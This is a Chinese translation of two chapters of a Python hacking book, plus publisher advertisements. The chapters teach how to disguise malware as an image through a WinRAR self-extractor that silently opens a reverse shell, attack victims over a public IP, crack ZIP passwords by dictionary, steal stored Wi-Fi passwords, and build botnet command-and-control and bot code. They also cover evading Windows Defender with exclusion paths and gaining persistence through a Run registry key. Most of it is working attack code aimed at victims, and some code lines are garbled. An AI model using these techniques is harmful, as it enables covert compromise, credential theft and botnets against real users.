现在我们已经创建了一个相当隐秘的恶意软件,它可以在受害者电脑的后台运行并控制受害者的 PC。但这个程序仍然存在一个小问题,它需要用户点击恶意软件的可执行文件,这对受害者来说可能容易也可能困难。如果用户不太懂技术,你可以轻松地诱使他们运行它,反之则会很困难。现在,我们将把讨论转向木马以及它们是如何工作的。接下来我们将在以下部分中构建一个小型木马恶意软件。
了解木马
在上一部分中,我们创建了一个可以一键运行的可执行文件,之后你将与受害者建立反向连接,但这需要受害者手动打开并点击可执行文件。现在引入了木马的概念。木马是一种隐藏得非常巧妙的恶意软件程序。通常,这些木马恶意软件会与合法软件捆绑或合并,在受害者尝试打开合法应用程序或文件时运行。你会发现,这些病毒很多时候与 PDF 或图像文件合并。将恶意软件隐藏在木马程序中是一个复杂的任务,因为很多时候,你所学到的技巧很快就会在所使用软件的更新中被修补。例如,假设你发现了一个软件漏洞,允许你在文件中嵌入恶意软件。除非你是第一个发现这个漏洞的人,否则很有可能在一两天内就会被修补。
向可执行文件添加图标
如果我们查看在上一节中开发的可执行文件,它有一个 Python 图标,这可能让它看起来像一个 Python 可执行文件。这对于黑客攻击来说不是很有帮助,因为它很容易被检测到。一个方法是为可执行文件添加一个图标,使其看起来像一个图片,而不是可执行文件。这会让用户误以为他们在点击打开一张图片,而实际上,他们正在运行可执行文件。我们可以使用pyinstaller来添加图标。为此,我们需要一个.ico扩展名的图片。
拿一张图片并将其扩展名改为.ico。你可以使用任何在线工具来转换它,应该非常简单。我将使用以下示例网站将我的图片转换为 ICO 格式:online-convert.com。
转换完图片后,将转换后的文件放入与受害者恶意程序相同的目录中。完成后,你可以使用以下命令为可执行文件添加图标。
你可以将文件命名为icon.ico并为pyinstaller编写以下命令:
pyinstaller –-onefile –-noconsole –icon=icon.ico advanced_malware.py
如果你打开dist文件夹,你会看到,现在,代替 Python 图标,你的可执行文件将有一个不同的图标,这取决于你选择的图片。我的文件看起来是这样的:

图 8.9 – 木马图标
在前面的截图中,你可以看到图标已经改变,现在很容易让受害者点击这个文件。如果你点击这个文件,你会看到它在后台与黑客建立了连接,你可以通过 Windows 的任务管理器来验证这一点。
创建你自己的木马
上述木马在某些情况下有效,并且应该足够用了。然而,当用户点击后没有任何反应时,受害者可能会猜到出什么问题了。理想情况下,我们希望当用户点击可执行文件时打开一张图片,并同时与黑客建立反向连接。这样,用户会以为他们只是在打开图片,实际上,他们不仅打开了图片,还为黑客创建了反向 Shell 连接。在本节中,我们将进一步隐藏我们的恶意软件。
要创建一个恶意木马,你将需要四个项目,如下所示:
-
你的恶意软件可执行文件与图标
-
WinRAR程序
-
用于图标的
.jpg格式图片 -
带有
.ico扩展名的图标图片
从这个网站安装WinRAR软件:https://www.win-rar.com/。
过程应该很简单。完成后,将可执行文件(1)、图片(3)和图标(4)复制到一个新文件夹中。我创建了一个名为trojan的新文件夹,并将这三个项目粘贴在其中:

图 8.10 – 木马内容
第一个advanced_malware.exe是可执行文件,第二个是图标文件,第三个是用于图标的.jpg图片。
现在选择所有三个文件,右键点击选择添加到压缩包选项:

图 8.11 – 添加到压缩包
这将打开一个新的对话框。它看起来是这样的:

图 8.12 – WinRAR 对话框
让我们将文件重命名为wallpaper.jpg。选择最佳压缩方式,并勾选创建 SFX 压缩包框。然后进入高级标签页,打开SFX 选项。
它将打开一个新的对话框。进入更新标签页,选择提取并更新文件和覆盖所有文件:

图 8.13 – SFX 选项
接下来,进入文本和图标标签页,选择浏览按钮,选择icon.ico文件。找到文件并选择它:

图 8.14 – 选择图标
然后进入模式标签页,勾选解压到临时文件夹,同时为静默模式选择隐藏所有:

图 8.15 – SFX 模式
最后,进入设置标签页,在提取后运行字段中写入以下内容:

图 8.16 – 提取后运行
这样可以在提取完成后按顺序运行文件。首先,我们会打开实际展示给受害者的图片,同时在后台运行恶意软件,从而给黑客建立反向连接。
现在一切都已按我们的需求设置完毕。只需点击确定创建压缩文件,它将以wallpaper.jpg为文件名在同一文件夹中创建一个新文件。表面上看,它像是一个普通的图片文件,但如果你打开它,你会看到它会创建一个反向连接,前提是你已经运行了黑客服务器:

图 8.17 – 木马
在图 8.16中,你可以看到我们创建了一个名为wallpaper.jpg的木马。如果你仔细看,可以看到它的类型是应用程序,但在 Windows 中,扩展名默认是隐藏的,我们将wallpaper.jpg添加到了它的名字中,因此它看起来像一个图片。如果你点击该图片,它将打开图片,并同时与黑客建立反向连接。试试看吧。我们当前的恶意软件攻击仅在私有 IP 上有效。接下来的部分,我们将学习如何在公共 IP 上执行相同的攻击。
在公共 IP 上攻击
到目前为止,我们所有的攻击都发生在本地网络中。这要求你作为黑客和受害者必须连接到同一个网络。然而,在许多攻击场景中,情况并非如此。这时,公共 IP 地址就显得非常重要了。在讨论网络基础时,我们已经了解了公共和私有 IP 地址。为了执行成功的攻击,我们需要知道黑客的公共 IP。在黑客机器上,你可以通过访问google.com,输入my public ip,这样会显示你的公共 IP 地址,前提是你没有使用任何 VPN 或网络遮掩工具。它将是一个类似的 32 位地址,由你的 ISP 提供。我的公共 IP 是31.38.10.X,最后 8 位由于隐私问题被屏蔽。你的 IP 地址会根据你所处的位置不同而有所不同。找到它应该不会很难。一旦你得到了公共 IP 地址,去受害者程序中,输入黑客的公共 IP,而不是黑客的私有 IP。
我们的谜题的第一部分完成了。接下来的部分是确保数据包能够成功到达黑客机器。黑客必须能够在指定的端口接收数据包。为此,黑客必须在其路由器设置中启用端口转发。大多数路由器的端口转发默认是关闭的,以确保安全。然而,如果你知道路由器面板的密码,你就可以进行设置。为了访问这些设置,找到你的 Wi-Fi 路由器,背面通常会有一张贴纸,上面写有路由器的服务器地址。它可能是192.168.1.1或者类似的地址。请注意,这取决于你使用的具体路由器,我无法为你提供确切的地址。路由器上还会写有用户名和密码。进入你的路由器设置页面。
一旦进入你的路由器设置,找到端口转发设置。这些设置会根据你的路由器有所不同。在这里,你将看到一个选项,可以选择将数据包转发到哪个端口。输入你为黑客程序使用的端口号并保存设置。现在,你已经完成了设置,能够通过公共 IP 进行攻击了。这将帮助你攻击不在本地网络中的受害者。
破解密码
在本节中,我们将学习如何使用密码数据库破解受密码保护的文件。我们将在本节中尝试破解一个 ZIP 文件。ZIP 文件是一种二进制格式,用于存储以压缩格式保存的文件,并且可以设置密码保护。我们将进行字典攻击。首先让我们了解什么是字典攻击!
字典攻击是一种攻击方式,黑客通过使用一组预定义的密码来猜测受害者的密码。他们通常有一个包含大量密码的数据库文件,并尝试使用这些密码中的一个来看受害者的密码是否与列表中的密码匹配。这个密码列表通常来自于被泄露的密码,这些密码来源于被攻破的网站和其他论坛。因此,你绝不应该为多个网站重复使用相同的密码。如果你在一个网站使用了相同的密码,而该网站被攻破,那么你的所有密码很可能都会被泄露。
你可以在这里找到最常用的密码列表:github.com/danielmiessler/SecLists.
)
该列表包含约 1000 万个密码,并且会定期更新。如果用户使用的密码存储在这个文件中,你就可以轻松破解它。
我从前面提到的 GitHub 仓库下载了一个文件。让我们来看看它的内容。
创建一个新项目,并将仓库中的密码文件存储在该项目中。同时,将密码保护的 ZIP 文件复制到该项目中。我创建了一个名为secret file.txt的虚拟文件,它是 ZIP 格式的并且受密码保护。密码是qwerty,该密码也位于密码数据库文件中。密码文件内容如下:

图 8.18 – 密码数据库文件
要破解这个文件,我们需要使用zipfile Python 库,它是 Python 标准库的一部分,因此无需安装。可以通过以下方式将其导入到你的脚本中:
import zipfile
encrypted_filename= "secret file.zip"
zFile = zipfile.ZipFile(encrypted_filename)
我们将创建一个 ZIP 文件对象,并将加密后的文件名传递给它。接下来,我们还需要以读取模式打开密码数据库文件,以便可以匹配密码:
passFile = open("passwords.txt", "r")
for line in passFile.readlines():
test_password = line.strip("\n").encode('utf-8')
try:
print(test_password)
zFile.extractall(pwd=test_password)
print("找到匹配项")
break
except Exception as err:
pass
在前面的代码中,我们逐一读取密码并进行测试。请注意,为了测试一个密码,它应该是二进制格式,而不是字符串格式。如果密码不匹配,我们只需引发异常并继续测试下一个密码。如果匹配,我们会打印出找到匹配项的语句,并跳出循环。如果你查看目录,你会看到一个新文件夹被创建,这个文件夹包含未加密的文件:

图 8.19 – 密码破解
在这里,我们正在测试各种密码,当密码匹配时,我们提取文件并打破循环,正如你可以清楚地看到密码是qwerty。在本节中,我们学会了如何破解密码保护的文件。在接下来的章节中,我们将学习如何创建僵尸网络,以及它们如何对我们有用。
偷取密码
在本节中,我们将学习如何窃取存储在受害者计算机上的 Wi-Fi 密码。请注意,我们已经讨论过如何使用我们的黑客程序在 Windows 机器上执行命令。我们可以利用这个程序来获取 Wi-Fi 密码。需要注意的是,你的虚拟操作系统可能没有安装 Wi-Fi 驱动程序。我已经安装了该驱动程序。如果你愿意,你可以使用你的主机计算机来完成此任务。
为了访问受害者计算机上存储的接入点,你需要运行以下命令:
netsh wlan show profiles
如果你在命令提示符中运行此命令,你将看到所有与你的计算机连接过的接入点。但我们想要访问的是密码,而不是接入点。以下是我计算机的截图:

图 8.20 – 已连接的接入点
为了获取密码,你需要写出接入点的名称,并为命令提供额外的参数,key=clear。完整的命令如下所示:
netsh wlan show profiles "POCO X3 NFC" key=clear
你将看到类似的输出:

图 8.21 – 获取密码
安全设置中的最后一个字段是此接入点的明文密码。如果你的虚拟操作系统(Windows)上安装了 Wi-Fi 驱动程序,你也可以使用恶意软件程序来运行这些命令。
创建僵尸网络
在第七章中,高级恶意软件,我们开发了一个包含黑客程序和受害者程序的恶意软件程序。当你想要对特定目标进行攻击时,这非常有用。然而,在很多情况下,你可能需要为黑客程序提供一个指挥和控制中心,并让多个受害者程序在不同的计算机上运行并与黑客程序通信,而黑客能够远程控制这些设备。这些就是我们所说的僵尸网络。僵尸网络是运行在不同机器上的小程序,它们与一个指挥控制中心通信。它们被用于许多恶意目的,例如分布式拒绝服务(DDoS)攻击,通过在同一时间生成数百万次请求来使某个网站宕机,或者利用计算机的资源进行加密货币挖掘,等等。
让我们开始创建自己的僵尸网络,并创建不同的 bot 与指挥控制中心进行通信。我们将编写两个程序:一个名为CnC.py,用作指挥控制中心。它的功能与黑客程序类似。另一个程序将命名为bot1.py。你可以创建任意数量的 bot,不过为了演示,我将只创建一个 bot。
创建一个名为bots的新项目,并创建一个名为CnC.py的新 Python 文件。
这应该在 Kali 机器上创建。
我们将需要之前使用过的socket库。让我们从导入开始:
import socket
from threading import Thread
import time
由于我们希望创建多个 bot,我们为每个 bot 使用线程。线程用于创建一个并行运行的单独任务。
接下来,我们将创建一个线程和客户端的列表。客户端在我们这个例子中将是 bot:
threads = []
clients = []
接下来,我们将创建一个名为listen_for_bots()的函数,顾名思义,它将监听传入的 bot 连接:
def listen_for_bots(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("", port))
sock.listen()
bot, bot_address = sock.accept()
clients.append(bot)
这和我们之前编写黑客程序时的操作非常相似。唯一的区别是,一旦客户端连接,我们会将其添加到client列表中,这样我们就可以像在黑客程序中一样利用这个连接做各种事情。
现在,我们定义一个main()函数,所有的逻辑将在这里处理:
def main():
print("[+] 服务器 bot 等待传入连接")
startig_port = 8085
bots = 3
我们定义了要使用的端口。请注意,这是一个starting_port,我们将为不同的客户端使用不同的端口。我们会简单地在每个新客户端上加 1。变量bots=3表明我们只想连接三个 bot,不过你可以根据需要添加任意数量的客户端:
for i in range(bots):
t = Thread(target=listen_for_bots, args=(i + startig_port,), daemon=True)
threads.append(t)
t.start()
接下来,我们将在线程中运行这些任务。Daemon=True意味着我们希望将这些任务作为后台进程运行。然后,我们将每个线程添加到列表中,以便可以访问这些线程。
接下来,我们将为指挥控制中心运行一个循环。当客户端连接时,我们会显示所有客户端,并让黑客选择他们想要交互的客户端。然后,我们会为每个 bot 运行一个内部循环,通过访问列表中的元素来帮助我们向每个 bot 单独发送消息。在这里,你可以为 bot 定义自己的逻辑。你可以向 bot 发送命令并在 bot 所在的 PC 上执行这些命令。其余的功能可以由你根据需求自行定义。这里我们只是发送了一条消息。一旦达成目标,你可以将该客户端从列表中移除:
run_cnc = True
while run_cnc:
if len(clients) != 0:
for i, c in enumerate(clients):
print("\t\t", i, "\t", c.getpeername())
selected_client = int(input("[+] 通过索引选择客户端:"))
bot = clients[selected_client]
run_bot = True
while run_bot:
msg = input("[+] 输入消息:")
msg = msg.encode()
bot.send(msg)
if msg.decode() == "exit":
run_bot = False
status = bot.recv(1024)
if status == "disconnected".encode():
bot.close()
clients.remove(bot)
print("数据已发送")
else:
print("[+] 没有客户端连接")
ans = input("[+] 你想退出吗?按[y/n] ")
if ans == "y":
run_cnc = False
else:
run_cnc = True
现在我们已经为命令与控制中心定义了一个基本结构。完整的机器人代码可以在以下链接找到:
github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example13-CNC/CnC.py
接下来,我们将定义我们的机器人逻辑。
进入受害者计算机并创建一个名为bot1.py的新文件。我们将创建一个套接字对象,并尝试使用黑客的 IP 与黑客进行通信。这个步骤类似于我们之前开发的恶意软件程序:
import socket
if name == "main":
print("[+] 正在连接服务器")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.11", 8085))
接下来,我们将为run_bot创建一个循环,尝试接收 CNC 发送的消息。一旦消息接收,我们可以在这里定义自己的逻辑。这里我们仅打印消息,但你可以根据需要添加功能。一旦 CNC 发送退出消息,我们可以简单地将客户端机器人从服务器中断开。代码如下:
run_bot = True
while run_bot:
communicate_bot = True
while communicate_bot:
msg = s.recv(1024)
msg = msg.decode()
print("指令中心说:", msg)
if msg == "exit":
communicate_bot = False
ans = input("[+] 是否希望保持连接:")
ans = "connected"
if ans == "no":
status = "disconnected"
s.send(status.encode())
run_bot = False
else:
status = "conntected".encode()
s.send(status)
s.close()
完整的bot1.py代码请参见以下链接:
https://github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example13-CNC/bot1.py
在本节中,我们学习了如何为机器人网络客户端创建一个命令与控制中心。你可以添加任意数量的客户端,并使用你的 CNC 程序统一控制它们。
总结
在本章中,我们学习了一些成功部署恶意软件程序的方法。恶意软件程序的一个重要方面是它的隐蔽性。本章重点讲解了如何将恶意软件隐藏在图像中。我们学习了通过公共 IP 进行恶意软件攻击,以及黑客如何攻击不在同一网络中的受害者。接着,我们学习了如何使用字典攻击破解密码保护的文件。最后,我们学习了如何创建一个用于僵尸网络攻击的指挥控制中心。这些攻击允许黑客通过一个程序控制大量分布式设备。通过本章的学习,你应该能够创建木马、执行公共 IP 攻击,并创建自己的僵尸网络。在下一章中,我们将学习如何保护作为黑客的在线身份,以及这一点在成功攻击中的重要性。下一章见!
第九章:系统保护与持久化
本章我们将重点关注防御机制是如何工作的,通过了解它们的工作原理,您可以学习到如何使用哪些技术来绕过它们。我们将从了解入侵检测系统及其不同类型开始。然后,我们将学习检测机制。一旦我们理解了这些机制,我们将尝试使用我们的工具来绕过它们。总之,本章将集中讨论以下主题:
-
系统保护
-
入侵检测方法
-
检测机制
-
绕过 IDS
持久化系统保护
我们之前的章节集中在创建恶意软件和执行不同的攻击上。这是攻击的进攻性一面。然而,在真实的黑客攻击中,您需要知道如何保护自己免受外部攻击。更好地理解保护机制不仅有助于您保护自己,而且这种知识还将帮助您成功地进行攻击。对外部网络攻击或系统攻击的第一道防线通常是入侵检测系统(IDS)。IDS 是用于系统安全和保护的各种工具的总称,因此我们必须详细了解它们。
入侵检测系统
IDS 是一个持续监控并检测网络或系统组件的系统,用于检测任何不良或可疑的行为。IDS 的目标是防止系统中出现任何不良的情况。从根本上说,IDS 有三种类型:
-
主机基础的 IDS
-
网络基础的 IDS
-
混合型 IDS
让我们在接下来的章节中详细讨论这些内容。
主机基础的 IDS
主机基础的 IDS 在它们所监控的系统上运行。与其他软件一起,主机基础的 IDS 会监控文件系统,扫描潜在的有害文件。它们还会监控和分析网络流量,以查看网络中是否有恶意流量。
主机基础的 IDS 是系统安全机制的重要组成部分;然而,它们通常无法提供有关系统安全状态的完整细节。它们可能会被不同的攻击修改甚至绕过。主机基础 IDS 的一个重要方面是它在现代威胁检测方面的更新频率。它应该不断跟进现代威胁,并在发现时立即阻止它们。主机基础 IDS 的一个重要特点是保留所有关键活动的日志。这对威胁检测和事件响应非常有帮助。
在大多数常见的操作系统中,您已经有某种主机基础的 IDS 内置在系统中。在 Windows 操作系统中,Windows 内置的杀毒软件是主机 IDS 的一部分。它监控并检测系统上的任何可疑活动,并阻止潜在的威胁对系统进行攻击。除了病毒检测外,它还会检测任何对关键 Windows 基础设施的篡改。
网络基础的 IDS
系统安全的另一个重要方面是基于网络的保护。基于网络的 IDS 在限制外部网络攻击的发生中发挥着关键作用。它们在保护网络中所有设备方面起着作用。它通过监控整个子网的网络流量来观察可疑活动。它可以与防火墙结合使用,以提供额外的安全性。有时,网络范围内的防火墙也是 IDS 的一部分。
混合型 IDS
正如名称所示,与单独的系统相比,这些检测系统为系统提供了更多的安全性。它们结合了基于系统和基于网络的方法来捕捉恶意行为,并具有更高的检测率。现代混合型 IDS 使用常规技术和基于人工智能(AI)的技术来防止网络攻击。
现在我们已经了解了不同类型的 IDS,让我们看看这些 IDS 是如何工作的。
IDS 检测机制
最常见的 IDS 通过使用以下两种基本技术来工作,尽管现代的 IDS 使用了更加复杂的方法。让我们来看看不同的检测机制以及它们如何在实际系统中应用。
基于特征码的检测
这是一种经典的基于知识的方法,自计算机安全的早期阶段以来就已经使用。在这种方法中,保护软件可以访问一个大型的已知恶意软件数据库。通过这个数据库,它可以查看恶意软件中存在哪些字节,然后它简单地将任何新引入系统的文件与这些字节序列进行比较。如果一个未知文件的字节序列与数据库中存在的字节序列匹配,则意味着该未知文件很可能是恶意的,它将立即阻止该文件。否则,它将继续正常操作。其算法最简单的形式如下:

图 9.1 – 基于特征码的检测机制
基于特征码的检测对于已知的恶意软件非常有效,因此一个好的 IDS 必须拥有更大的恶意软件数据库。此方法的效果仅取决于它所拥有的数据库的质量。如果是新编写的恶意软件尚未被检测到,那么在该测试中会产生假阴性。
基于异常的检测
这些检测系统与基于特征码的方法不同。它们监控程序的活动,定义某些它认为是正常行为的场景,然后寻找这些行为中的任何异常。例如,一个游戏软件不应该试图禁用防病毒系统。一旦恶意软件程序试图做一些不应该做的事情,这些系统就会将这些程序标记为可疑,并继续监控它们,直到检测到该程序试图执行一些绝对不该做的操作。一旦检测到可疑行为,它们要么会完全阻止该程序,要么会为管理员生成红色警报。
请注意,IDS 和入侵防御系统(IPS)之间有一个小的区别。实际上,大多数情况下,这些任务是由同一软件完成的,我们通常不做实际区分。然而,偶尔你会看到 IDS 和 IPS 被单独提及,所以你应该了解它们之间的区别。
现在我们已经了解了什么是 IDS 以及它是如何工作的,我们可以开始构建一个程序,学习如何绕过这些系统。
绕过 IDS
在第六章,《恶意软件开发》和第七章,《高级恶意软件》中,我们开发了我们的恶意软件程序,而在第八章,《后渗透》中,我们学习了如何将恶意软件打包成木马。我们的恶意软件工作得很好,如果 IDS 使用基于签名的方法,它很可能不会被检测到,因为恶意软件是你自己编写的,且没有任何签名存在于任何地方。然而,现代 IDS 相当聪明,经过几次运行后,它们会开始注意到可疑行为,并使用非常详尽的方法进行分析。在这一节中,我们将尝试看看如何以管理员权限运行我们的 Python 可执行文件。这将有助于在受害者的机器上执行某些任务,而普通的可执行文件无法完成。例如,在 Windows 中禁用防病毒程序,或者为某个文件夹创建例外,使得病毒扫描程序不扫描该文件夹,都需要管理员权限。你无法通过普通的可执行文件完成这些操作。
让我们首先看看如何以管理员权限运行可执行文件。你可以将这种方法与恶意软件程序结合使用。然而,为了简便起见,我将使用一个简单的 Python 脚本来演示这个过程。
让我们创建一个新的 Python 脚本,并创建一个新的虚拟环境。提升 Python 程序权限的方法有很多,你可以在网上找到多种解决方案。然而,我找到的最简单解决方案是使用一个叫做elevate的库。由于我们将创建一个可执行文件进行演示,所以我们也需要安装pyinstaller。
一旦你创建了一个新项目并在虚拟环境中安装了pyinstaller,我们可以运行以下命令来下载elevate Python 模块:
pip install elevate
一旦安装了这个包,你可以在代码中使用它来提升可执行文件的权限。根据我的经验,我发现最好将这个功能放在脚本的开头,这样可以获得最佳效果。要提升脚本的权限,你只需调用该模块中的elevate函数。
让我们首先看看用户权限级别,在使用此模块之前。只需写出以下代码进行测试。我们可以使用os模块来检查是否拥有 root 权限:
import ctypes
import platform
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
你可以使用前面的代码来查看程序是否在提升模式下运行。如果前面的代码返回的值是1,则表示它以管理员身份运行,否则它是在非管理员模式下运行。让我们运行之前的程序来查看执行模式:

图 9.2 – 没有管理员权限
现在,为了提升权限,你可以直接调用elevate()方法。请注意,Windows 在处理权限提升时有一个小小的限制。当调用elevate()时,Windows 并不是以管理员身份运行相同的脚本,而是重新启动脚本并以更高的权限作为一个独立进程运行。对此尚无解决方法。因此,当调用提升权限时,会启动一个新的进程。让我们开始提升权限:
import ctypes
import platform
import time
from elevate import elevate
def is_root():
if platform.system() == "Windows":
return ctypes.windll.shell32.IsUserAnAdmin()
else:
return 1
print(is_root())
elevate()
print(is_root())
现在让我们创建一个可执行文件(就像我们在第八章,利用后操作一节的打包恶意软件部分中所做的那样),以便看到这一切的实际效果。要运行该程序,请双击创建的可执行文件。你会看到以下弹出窗口,要求用户点击是以提升权限。如果用户点击是,程序将以管理员模式运行:

图 9.3 – UAC(用户账户控制)弹出窗口
点击是,你将看到以下屏幕,表示一个新的进程已经被创建并以更高的权限运行,权限提升的标志为1:

图 9.4 – 管理员权限
现在我们已经学会了如何以管理员身份运行脚本,让我们看看如何修改 Windows 设置来添加 IDS 扫描的例外。我们将把一个目录添加到 Windows 的例外规则中。这将允许我们跳过某个目录的病毒扫描,并帮助我们在该目录中植入恶意软件。
提升权限的完整代码可以在以下链接查看:github.com/PacktPublishing/Python-Ethical-Hacking/blob/main/example14-priv-escalation/escalation.py。
在之前的程序中,我们首先提升权限,然后在 Windows Defender 设置中添加对存放恶意软件的文件夹的排除项。这样就可以跳过当前文件夹的扫描。以下代码实现了这一功能:objective.d:
command = "Add-MpPreference -ExclusionPath " + dir_to_add
all_commands.append(command)
前一行将一个排除项添加到 Microsoft Defender 扫描库中,如下截图所示:

图 9.5 – 添加病毒扫描排除项
现在我们知道如何让程序在隐身模式下运行,避免被 IDS 检测到。接下来,我们将为程序添加持久性。这样,程序就能在 Windows 启动时自动运行,用户无需每次点击恶意程序就能建立反向连接。受害者只需点击一次恶意程序,我们将为启动程序添加一个 Windows 注册表键,这样每次电脑启动时,我们的恶意程序就会运行。你可以将此方法应用到我们之前开发的受害者程序中。为了简化起见,我将只使用一个演示脚本。
持久性
在这一节中,我们将学习如何在 Windows 启动时运行 Python 脚本。让我们创建一个新项目。你也可以修改我们之前开发的受害者程序,见第六章,恶意软件开发,和第七章,高级恶意软件。要为程序添加持久性,我们需要确切知道正在运行的可执行文件名称。一旦知道了可执行文件的名称,我们就可以将其复制到其他位置,并确保每次系统启动时从那里运行它。这听起来有点复杂,所以我们一步步来看。首先,我们需要知道可执行文件的名称。为此,让我们编写如下代码:
import sys
curr_executable = sys.executable
print("当前可执行文件:", curr_executable)
如果你以 Python 脚本的形式运行上述程序,输出将如下所示:

图 9.6 – 当前解释器名称
这只告诉我们 Python 解释器的名称,而不是我们所需的可执行文件名称。为什么会这样呢?因为我们目前只是运行一个脚本。获取实际可执行文件名称的唯一方法是使用pyinstaller。创建一个二进制可执行文件,并通过双击运行它。请看下面的截图:

图 9.7 – 实际的可执行文件名称
你可以看到,现在我们已经得到了实际需要的可执行文件名称。下一步是创建此可执行文件的副本并将其存储在其他位置,以便从受害者那里隐藏它,最后将注册表项添加到启动应用程序中。
我们将把这个可执行文件复制到 Windows 的AppData文件夹,这是一个包含应用程序数据的特殊文件夹。要获取appdata文件夹的路径,可以写以下代码:
app_data = os.getenv("APPDATA")
我们来给可执行文件重命名,这样它就不会显得可疑。我们将此可执行文件命名为system32_data.exe。这是一个虚构的名字,你可以使用任何你想要的名称:
to_save_file = app_data +"\"+"system32_data.exe"
接下来,将当前的可执行文件复制到appdata文件夹并重命名它。我们需要从 Python 标准库导入shutil模块:
shutil.copyfile(curr_executable, to_save_file)
若要将其添加到 Windows 启动时的注册表中,你需要运行以下代码:
key = winreg.HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
这段代码简单地将to_save_file字符串添加到启动注册表中,该字符串包含可执行文件的名称。
要对程序进行修改,你需要以管理员模式运行此可执行文件,因此你可以将前一节中的代码复制并将其添加到此脚本的开头。完整的代码链接如下:
if not os.path.exists(to_save_file):
print("正在变得持久化")
shutil.copyfile(curr_executable, to_save_file)
key = winreg.HKEY_CURRENT_USER
"Software\Microsoft\Windows\CurrentVersion\Run"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "systemfilex64", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)
否则:
print("路径不存在")
运行代码后,如果你进入appdata文件夹,你将看到以下可执行文件:

图 9.8 – 当前可执行文件已复制到 appdata 文件夹
同样,为了验证 Windows 注册表是否已被修改,可以通过在 Windows 搜索中搜索regedit打开注册表编辑器。打开后,前往以下路径:
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run":

图 9.9 – 编辑后的注册表
最后一行是我们刚刚添加的条目。你可以看到前面截图中的数据字段链接到我们刚刚复制的可执行文件。现在,如果你重新启动计算机,你会发现系统启动后,上述的可执行文件会自动启动。作为练习,尝试用受害者恶意软件程序复制相同的步骤。当受害者启动他们的计算机时,你应该能够从受害者的机器上获得一个返回连接。
总结
在这一章中,我们学习了不同的系统保护技术。我们首先了解了系统保护以及不同的入侵检测系统(IDS)/入侵防御系统(IPS)的工作原理。我们学习了不同类型的检测机制。我们还学习了如何使用具有提升权限的可执行文件。最后,我们学习了如何使我们的可执行文件持久化。这些知识,结合你在之前章节学到的内容,将使你能够开发出不易被检测的恶意软件工具。只要你保持恶意软件对系统的影响较低,IDS 就不容易检测到你的恶意软件。希望你学到了很多并且喜欢这本书!请记住,网络安全是一个不断变化的领域,你需要时刻与现代工具保持同步,才能成为一名成功的渗透测试人员。

订阅我们的在线数字图书馆,全面访问超过 7,000 本书籍和视频,并使用行业领先工具帮助你规划个人发展并推动职业生涯。更多信息,请访问我们的网站。
第九章:为什么订阅?
-
通过来自 4000 多位行业专家的实用电子书和视频,减少学习时间,增加编码时间
-
通过专为你定制的技能计划提高学习效率
-
每月获得一本免费的电子书或视频
-
完全可搜索,轻松访问关键信息
-
复制、粘贴、打印和书签内容
你知道 Packt 为每本出版的书籍提供电子书版本,并提供 PDF 和 ePub 文件吗?你可以在packt.com升级到电子书版本,作为印刷书籍的客户,你还可以享受电子书副本的折扣。欲了解更多详情,请联系我们:customercare@packtpub.com
在www.packt.com,你还可以阅读一系列免费的技术文章,订阅多个免费新闻简报,并获得 Packt 图书和电子书的独家折扣和优惠。
你可能喜欢的其他书籍
如果你喜欢本书,可能也会对 Packt 出版的其他书籍感兴趣:

精通 Python 网络与安全 - 第二版
José Manuel Ortega
ISBN: 978-1-83921-716-6
-
使用 Python 编写脚本自动化安全和渗透测试任务
-
探索 Python 编程工具在网络安全过程中的应用
-
自动化任务,如分析和提取服务器中的信息
-
了解如何检测服务器漏洞并分析安全模块
-
探索如何连接到 Tor 网络并获取信息
-
专注于如何使用 Python 取证工具提取信息

精通 Python 网络编程 - 第三版
Eric Chou
ISBN: 978-1-83921-467-7
-
使用 Python 库与网络进行交互
-
使用 Python 集成 Ansible 2.8,控制 Cisco、Juniper 和 Arista 网络设备
-
利用现有的 Flask Web 框架构建高级 API
-
学习如何在 AWS 和 Azure 云中构建虚拟网络
-
学习如何使用 Elastic Stack 进行网络数据分析
-
了解如何使用 Jenkins 自动部署你网络中的更改
-
在网络工程中,使用 PyTest 和 Unittest 进行测试驱动的网络开发
Packt 正在寻找像你这样的作者
如果您有兴趣成为 Packt 的作者,请访问authors.packtpub.com并立即申请。我们与成千上万的开发者和技术专业人士合作,帮助他们将自己的见解与全球技术社区分享。您可以提交一般申请,申请我们正在招聘作者的特定热门话题,或者提交您自己的创意。
留下评论 - 让其他读者了解您的想法
请通过在您购买本书的网站上留下评论,与他人分享您对本书的想法。如果您是从亚马逊购买的这本书,请在本书的亚马逊页面上留下真实的评论。这对于其他潜在读者来说至关重要,他们可以看到并利用您的公正意见做出购买决定;我们也能了解客户对我们产品的看法;同时,我们的作者也能看到您对他们与 Packt 合作所创作书籍的反馈。这将只占用您几分钟的时间,但对其他潜在客户、我们的作者以及 Packt 来说都非常宝贵。感谢您的支持!











浙公网安备 33010602011771号